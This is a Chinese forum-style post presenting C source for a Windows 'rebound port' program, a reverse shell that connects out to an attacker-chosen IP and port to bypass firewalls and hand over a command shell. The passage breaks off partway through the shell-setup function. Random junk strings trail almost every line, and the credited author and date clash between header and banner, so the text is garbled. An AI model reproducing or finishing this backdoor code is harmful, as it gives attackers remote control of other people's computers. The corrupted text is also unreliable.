这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1FL~ndJs
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/* ============================== ~t~k2^)|"
Rebound port in Windows NT Q1I6$8:7
By wind,2006/7 W/bQd)Jvk
===============================*/ Ee%%d
#include C]`$AqKl
#include qvKG-|j
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#pragma comment(lib,"wsock32.lib") WUXx;9 >
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void OutputShell(); Z4w!p?Wqa
SOCKET sClient; 6@F9G4<Z
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sW'AjI
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void main(int argc,char **argv) N gGp
{ ' ;FnIZ
WSADATA stWsaData; Ma']?Rb`
int nRet; S3*`jF>q
SOCKADDR_IN stSaiClient,stSaiServer; Hc$O{]sq
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if(argc != 3) =M[bnq*\
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); jB Z&Ad@e
return; Q}K"24`=
} s %``H`
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4ber!rJM
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x$.^"l-vX
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stSaiClient.sin_family = AF_INET; ?*1uN=oI{*
stSaiClient.sin_port = htons(0); o!Ieb
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;yLu R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *-=(Q`3
{ (Ag16
printf("Bind Socket Failed!\n"); U}e!Wjrc
return; PI:4m%[
} 17[3/m8a
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stSaiServer.sin_family = AF_INET; t?-n*9,#S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); rv^@, 8vq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n&;85IF1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) HIR~"It$
{ bz2ztH9 n
printf("Connect Error!"); i$:*Pb3mV
return; #@9/g
} *K6g\f]b #
OutputShell(); FaQe_;
} [P=Jw:E
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void OutputShell() ll<Xz((o
{ ^w@%cVh
char szBuff[1024]; oWim}Er=
SECURITY_ATTRIBUTES stSecurityAttributes; FxtQXu-g
OSVERSIONINFO stOsversionInfo; F|o:W75
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,j2Udn}
STARTUPINFO stStartupInfo; V6&!9b
char *szShell; Yz/md1T$
PROCESS_INFORMATION stProcessInformation; .
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unsigned long lBytesRead; %S@ZXf~:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); mzaWST]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0d"[l@UU0
stSecurityAttributes.lpSecurityDescriptor = 0; Vod\a5c
stSecurityAttributes.bInheritHandle = TRUE; dGYn4i2k?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z0p*Z&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F3v!AvA|
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?wiCQ6*$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b8`)y<